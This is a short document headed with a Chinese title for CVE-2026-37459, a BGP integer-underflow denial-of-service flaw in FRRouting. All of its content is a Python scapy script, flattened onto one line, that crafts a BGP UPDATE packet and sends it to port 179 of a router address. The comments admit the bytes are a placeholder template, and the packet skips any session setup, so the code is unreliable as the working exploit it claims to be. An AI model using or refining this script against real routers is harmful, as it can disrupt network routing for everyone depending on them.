CVE-2026-37459 FRRouting BGP整数下溢致拒绝服务漏洞

import sys from scapy.all import * def send_exploit(target_ip): # Crafted BGP UPDATE message to trigger integer underflow # This is a generic template; specific bytes depend on the patch diff marker = b'\xff' * 16 len_header = b'\x00\x13' # Length placeholder type_msg = b'\x02' # UPDATE # Malicious payload simulation bgp_payload = marker + len_header + type_msg + b'A'*20 pkt = IP(dst=target_ip)/TCP(dport=179, flags='PA', sport=49152)/Raw(load=bgp_payload) send(pkt, verbose=0) print(f"[*] Exploit packet sent to {target_ip}") if __name__ == "__main__": send_exploit("192.168.1.1")